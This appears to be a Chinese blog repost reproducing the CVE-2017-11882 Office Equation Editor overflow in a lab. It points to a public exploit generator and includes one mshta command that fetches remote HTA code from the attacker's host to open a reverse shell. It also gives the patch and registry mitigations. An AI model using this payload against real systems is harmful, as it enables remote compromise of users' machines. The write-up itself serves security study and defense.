您的位置:首页 > 其它

CVE-2017-11882复现

2017-11-24 13:51 295 查看

前言

漏洞基本信息
漏洞IDCVE-2017-11882
漏洞名称Microsoft Office数学公式编辑器内存损坏漏洞
威胁类型远程代码执行
漏洞类型栈溢出,位于EQNEDT32.EXE组件中
漏洞影响版本
Microsoft Office 2000

Microsoft Office 2003

Microsoft Office 2007 Service Pack 3

Microsoft Office 2010 Service Pack 2

Microsoft Office 2013 Service Pack 1

Microsoft Office 2016

漏洞的利用

利用基础

漏洞出现在模块EQNEDT32.EXE中,该模块为公式编辑器,在Office的安装过程中被默认安装。

利用可能性

该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于WINWORD.EXE, EXCEL.EXE等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。

利用原理

漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。

结果

攻击者可以通过刻意构造的数据内容覆盖掉栈上的函数地址,从而劫持程序流程,可以利用漏洞以当前登录的用户的身份执行任意命令。而且该漏洞没有弹窗,用户感觉不到。

测试

使用Command_CVE-2017-11882.py脚本(https://github.com/Ridter/CVE-2017-11882/)生成漏洞doc文件,执行计算器命令:



打开word文档,就会弹出计算器,如图所示,



复现过程

测试环境

靶机:window 7(192.168.198.131)+Office2013

攻击机:kali linux (192.168.198.141)

生成powershell脚本





这里使用的是43字符限制的脚本(github上还有109字符限制的脚本),因为命令长度的限制,所以使用URIPATH设置路径,使得命令短一点,避免超过43字符。

生成的payload是mshta.exe http://192.168.198.141:8080/123。
说明:hta文件使用的是HTML格式,它的程序代码可以像HTML一样被编辑和检查,hta虽然用HTML、JS和CSS编写,却比普通网页的权限大,具有桌面程序的所有权限(可以读写文件,操作注册表等)。

生成漏洞doc文件

利用mshta执行。



打开doc文件,反弹shell







解决方案

修复漏洞

(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

取消该模块的注册

(1)按下Win+R组合键,打开cmd.exe

(2)输入以下两条命令:

reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400

reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400

参考资料

http://mp.weixin.qq.com/s/o3Psnsl8OBmVdkUrvcTLsw

http://www.freebuf.com/vuls/154462.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  漏洞